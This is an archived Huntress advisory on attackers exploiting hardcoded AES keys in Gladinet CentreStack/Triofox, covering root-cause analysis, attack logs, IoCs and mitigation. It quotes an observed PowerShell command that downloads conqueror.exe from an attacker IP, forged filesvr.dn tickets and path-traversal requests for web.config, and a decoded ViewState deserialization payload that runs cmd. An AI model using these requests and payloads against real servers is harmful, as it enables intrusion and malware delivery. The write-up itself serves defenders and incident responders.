

Gladinet CentreStack/Triofox: Cryptography Vulnerability

Gladinet CentreStack/Triofox: Cryptography Vulnerability - Bryan Masters, Huntress.

- Published: 2025-12-10
- Original: <https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability>
- Preserved from: <https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[image: ChatGPT logo]ChatGPT[image: Opens in new tab][image: Claude logo]Claude[image: Opens in new tab][image: Perplexity logo]Perplexity[image: Opens in new tab][image: Google Gemini logo]Google AI[image: Opens in new tab]

*Acknowledgments: Special thanks to John Hammond for his contributions to this investigation and write-up.

Update #2: 12/18/25 @ 6pm ET

We've [seen reports](#) from other intelligence firms that note that the cl0p ransomware group is targeting internet-facing Gladinet CentreStack servers. It is still early and we can't fully confirm if this behavior definitively stems from cl0p. However, we continue to monitor for potential Gladinet exploitation. Most recently, we observed two new incidents on December 15.

Based on the available telemetry, both of these incidents involved suspected Gladinet CentreStack exploitation.

As seen in Figure 1 below, both incidents involved the same indicators involving a PowerShell command, which was executed via w3wp.exe:

```
"C:\Windows\System32\cmd.exe" /c powershell -e
SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwA
xADgANQAUADEAOQA2AC4AMQAxAC4AMgAwADcAOgA4ADAAMAAwAC8AYwBvAG4AcQB1A
GUAcgBvAHIALgBIAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOGbCAFUAcwBIAHIAcw
BcAFAAdQBIAgWAaQBjAFWAYwBvAG4AcQB1AGUAcgBvAHIALgBIAHgAZQA=
```

The decoded base64 reveals the following:

```
Invoke-WebRequest http://185.196.11.207:8000/conqueror.exe -OutFile  
C:\Users\Public\conqueror.exe
```

Interval: 65d 6h 1m 5s #6304

Interval: 8h 44m 48s #3196

Interval: 0s #9824

Process Details

Parent PID	3196
PID	9824
User	IIS APPPOOL\portal
User ID	S-1-5-82-804347906-3255526606-2247985595-1028908625-2942376404
Process Name	powershell.exe
Process Logon ID	136538
Detection Rule	
Started At	2025-12-15 17:16:11 UTC
Elevated Access Privileges	True
Executable	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line	powershell -e SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcaAA6AC8ALwAxADgANQAuADEAOQA2AC4AMQAxAAC4AMgAwADcAOgA4ADAAMAAwAC8AYwBvAG4AcQB1AGUAcgBvAHIALgBIAHGAZQAgaC0ATwB1AHQARgBpAGwAZQAgaEMAOGbCAFUAcwBIAHIAcwBcAFAAdQBIAgAAQBJAFwAYwBvAG4AcQB1AGUAcgBvAHIALgBIAHGAZQA=

Figure 1: Process tree for detected PowerShell command execution on Dec. 15 across two incidents

In one of the incidents, after the payload was retrieved from `hxxp[://]185.196.11[.]207:8000/conqueror.exe/`, it was saved as `C:\Users\Public\conqueror.exe` before it was executed. From there, the threat actor executed several commands related to standard host enumeration through `conqueror.exe`.

In the other incident, we also saw the download and execution of `conqueror.exe` via the same IP address and same command. Additionally, we saw the threat actor execute a PowerShell command (`powershell -e YwB1AHIAbAAgAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAxADkANgAuADEAMQAuADIAMAA`

3ADoAOAAwADAAMAA=) that reveals the following in cleartext: curl
http://185.196.11.207:8000

Unfortunately, the conqueror.exe was no longer present on the file system for us to analyze further. We uncovered the SHA256 hash e9fa82d92d826c6a1c38165fe6bd610d3b80cd5d53ec65ac3fe94393be64b5a5 but at the time of writing this was not found on VirusTotal. The open directory presumably hosted at 185.196.11[.]207:8000 is no longer online and we have not yet uncovered any artifacts from it by other intelligence solutions.

Additionally, we observed invocation of the quser.exe command, and the threat actor listing the Huntress installation directory. From Windows event logs, Event ID 1316 from the Application EVT_X, we observed 146.70.134[.]50 as the malicious IP address that began the attack leveraging the ViewState deserialization vulnerability by [CVE-2025-30406](#).

At present, we cannot say definitively that this is exploitation by the cl0p ransomware gang, but considering the timing of this reporting, we felt it was prudent to share this recent threat intel. We are continuing the hunt and monitoring for further Gladinet exploitation.

Update #1: 12/12/25 @ 4pm ET

A CVE has now been assigned to this Gladinet CentreStack and Triofox vulnerability, with a CVSS score of 7.1 out of 10: [CVE-2025-14611](#).

Original blog published 12/10/25

TL;DR: The AES implementation of Gladinet's CentreStack and Triofox products contains hardcoded cryptographic keys. Threat actors can potentially abuse this as a way to access the web.config file, opening the door for deserialization and remote code execution. We are seeing attackers target this flaw across our customer base; organizations that are using CentreStack/Triofox should update to the latest version, 16.12.10420.56791.

Background

On December 2nd, the Huntress support team received an email outreach from a team that had seen our [previous](#) and [prior posts](#) surrounding Gladinet CentreStack and Triofox technologies. They expressed they are a Gladinet customer and had received a notification from the company on November 30 regarding a new security issue, and were advised to immediately update to the latest build version at the time, which was released November 29. Gladinet provided this customer with multiple Indicators of Compromise (IoCs), including the following requests (note: see our "Mitigations" section below for an important caveat about these IoCs and for more information about how to most accurately utilize these indicators).

/storage/filesvr.dn

t=vghpl7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXIZiueqNysfRx7Dsd3P5l6eiYyDi

G8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL%7C372varAu

/storage/filesvr.dn

t=vghpl7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXIZiueqNysfRx7Dsd3P5I6eiYyDi
G8Lvm0o41m:ZDplEYEsO5ksZajiXcsukOQzFlwOzIHswJBdS7w0RY

/storage/filesvr.dn

t=t=vghpl7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXIZiueqNysfRx7Dsd3P5I6eiYyDi
DiG8Lvm0o41m4mxEjYeJl6Nk:xBHQQ1c6Hzjx3OsG4T044CP5qZ9Qr

Upon closer inspection of these requests, we were able to identify the root cause of the vulnerability behind this security advisory and better understand how it could potentially be used in an attack.

Huntress Observations

The Vulnerability

filesvr.dn is a custom HTTP Handler defined in the server's web.config and mapped to the GladinetStorage.FileDownloadHandler class. The handler listens for a query parameter named t. This parameter is an encrypted "Access Ticket" designed to carry all necessary authorization data and the file being requested in a single string.

When the CentreStack server application (IIS Worker Process) first starts, it needs to generate cryptographic information for encrypting/decryption. The SysKeyMgr class calls AccessKeyMgr64.GetSysEncKey, which passes the current system time (DateTime.Now.ToString()) to an external function, GenerateSecKey, located in GladCtrl64.dll. The .dll returns two 100-byte strings that are loaded into memory:

- SysKeyMgr.SysKey: The source of the 32-byte AES Encryption Key.
- SysKeyMgr.SysKey1: The source of the 16-byte Initialization Vector (IV).

When the filesvr.dn handler receives the t parameter, it first performs a custom sanitization, swapping URL-safe characters (replacing : with + and | with /) then a Base64 decoding. The handler then calls AccessTicket.Decrypt. This method retrieves the first 32 bytes of the static SysKey and the first 16 bytes of SysKey1 to configure an AES-256 decryption provider. Because these keys are derived from the generated 100-byte strings, any ticket encrypted with these specific bytes is trusted by the system.

Once decrypted, the ticket reveals a plain-text string containing 4 mandatory newline-separated fields (there are optional fields for DomainID and UserID):

- **Filepath:** The absolute path to the file on the server's disk.
- **Username:** The Windows account to impersonate.
- **Password:** The credentials for that account.
- **Timestamp:** The creation time of the ticket.

It parses the **Timestamp** and compares it to the current server time. If the ticket is older than 4 hours, the request is rejected. If the timestamp is valid, the handler initializes an

Impersonation context using the **Username** and **Password** from the ticket. If valid credentials are provided, the server accesses the file system as that specific user.

Upon debugging the running process, we discovered that the GenerateSecKey, located in GladCtrl64.dll returns the exact same 100-byte text strings.

- **The Key Source:** A static string of Chinese text.
- **The IV Source:** A static string of Japanese marketing text.

Because these keys never change, we could extract them from memory once and use them to decrypt *any* ticket generated by the server or worse, encrypt our own.

Decrypting the examples provided:

```
/storage/filesvr.dn
```

```
t=vghpl7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXIZiueqNysfRx7Dsd3P5l6eiYyDi  
G8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL%7C372varAu
```

We were able to see the request being made:

```
[0] C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config [1] [2] [3] 9999-11-27  
14:52:04.009217
```

Line [0]

As [previously stated here](#), the attacker can obtain the machine keys from:

```
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
```

They can be leveraged to abuse the ASPX ViewState, a mechanism used to preserve the state of a web page and its controls between multiple HTTP requests. The machine keys open the door for a very standard and well-researched attack technique with ViewState deserialization.

Line [1],[2]

The **Username** and **Password** fields were left blank. The code uses these fields to initialize an Impersonation context. When passed empty strings, it appears the impersonation logic fails and potentially falls back to the IIS Application Pool Identity.

Line [3]

The attacker set the timestamp to the year **9999**. This creates a ticket that **never expires**. The attacker can reuse this exact URL indefinitely to download the server's configuration.

Exploitation Activity

As of December 10, we have seen nine organizations that have been impacted by this vulnerability. These businesses ranged across different sectors, from healthcare to technology. The threat actor connected from IP address 147.124.216[.]205 and attempted to use the exploit (CVE-2025-11371) followed by the new exploit to obtain the web.config file containing the machine key. Once the attacker was able to obtain the keys, they performed a viewstate deserialization attack and then attempted to retrieve the output of the execution which failed.

```

GET /storage/t.dn s=.%5C..%5C..%5CProgram+Files+(x86)%5CGladinet+Cloud+Enterprise%5Croot%5CWeb.
config&sid=1 443 - 147.124.216.205 python-requests/2.32.5 - 404 0 2 42
Failed attempt to obtain web.config via CVE-2025-11371

GET /storage/filesvr.dn
t=vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5A0PvX4TEEXLZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41mwafzZmSLD4Sdw5T
c7F0wwcIgv1EftNNc8BHA:9TxFA0uRZdbynz0G50zEx7xshZhW== 443 - 147.124.216.205 python-requests/2.32.5 -
200 0 0 43
Successful attempt to obtain web.config via new exploit

POST /portal/loginpage.aspx - 443 - 147.124.216.205 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.15;
+rv:109.0)+Gecko/20100101+Firefox/117.0 - 302 0 0 2219
GET /defaulterrorpage.htm aspxerrorpath=/portal/loginpage.aspx 443 - 147.124.216.205 Mozilla/5.0
+(Macintosh;+Intel+Mac+OS+X+10.15;+rv:109.0)+Gecko/20100101+Firefox/117.0 - 200 0 0 60
Successful ViewState deserialization attack CVE-2025-30406

GET /storage/t.dn s=.%5C..%5C..%5Cprogramdata%5Ccentrestack_log1.txt&sid=1 443 - 147.124.216.205
Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.15;+rv:109.0)+Gecko/20100101+Firefox/117.0 - 404 0 2 37
Failed to retrieve output of reconnoitre command via CVE-2025-11371

```

Figure 2: Excerpt from IIS logs highlight recent attack

```

EventData:
  Data:
    - '4009'
    - 'Viewstate verification failed. Reason: Viewstate was invalid.'
    - 12/4/2025 2:02:23 AM
    - 12/4/2025 7:02:23 AM
    - 99bfeb59b8fc4ec488689df1f58b9b1d
    - '99'
    - '1'
    - '50204'
    - /LM/W3SVC/1/R00T/portal-1-
    - Full
    - /portal
    - C:\Program Files (x86)\Gladinet Cloud Enterprise\portal\
    - 
    - ''
    - '30984'
    - w3wp.exe
    - IIS APPPOOL\portal
    - https:// /portal/loginpage.aspx
    - /portal/loginpage.aspx
    - 
    - ''
    - 'False'
    - ''
    - IIS APPPOOL\portal
    - Invalid viewstate.
    - 147.124.216.205
    - '57277'
    - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
    - /wEyvAcAAQAAAP///8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3d1clNoZWxsLkVkaXRvciwgVmVyc2l0bj0zLjAuMCM4wLCB
    - ''
    - /portal/loginpage.aspx
    Binary: null

```

**Figure 3: Windows Application Event Log captures the ViewState error containing the encoded payload

```

Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35BMicrosoft.VisualStudio.Text.Formatting.
TextFormattingRunProperties ForegroundBrush
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/
2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.
microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c whoami &gt; C:\programdata\centrestack_log1.txt"
          StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}"
          Domain="" LoadUserProfile="False" FileName="cmd" />
        </sd:Process.StartInfo>
      </sd:Process>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>

```

Figure 4: Decoded Base64 payload

Mitigation Guidance

On November 29, Gladinet released a new build number for [CentreStack](#) and [Triofox](#) before advising customers on November 30 of a new security update. The latest release on Gladinet's CentreStack website as of December 8 is version 16.12.10420.56791. We recommend that potentially impacted Gladinet customers update to this latest version immediately and ensure that the machineKey is rotated ([further instructions are available here](#)).

Additionally, organizations can scan their logs for the string provided below, which is the encrypted representation of the web.config file path:

vghpl7EToZUDIZDdprSubL3mTZ2

Notably, this is the most accurate piece of the string to use from the IoCs listed by Gladinet above. That's because the full string includes an arbitrary date value, which is variable and may be an unreliable indicator for organizations.

On our end, Huntress is monitoring for malicious activity related to this vulnerability, and our detectors are in place.

Indicators of Compromise (IOCs)

	Item	
Description		/storage/filesvr.dn t=vghpl7EToZUDIZDdprSubL3mTZ2

Encrypted GET request for web.config

||

Archived from <https://huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability>. Rendered offline from the local Markdown copy.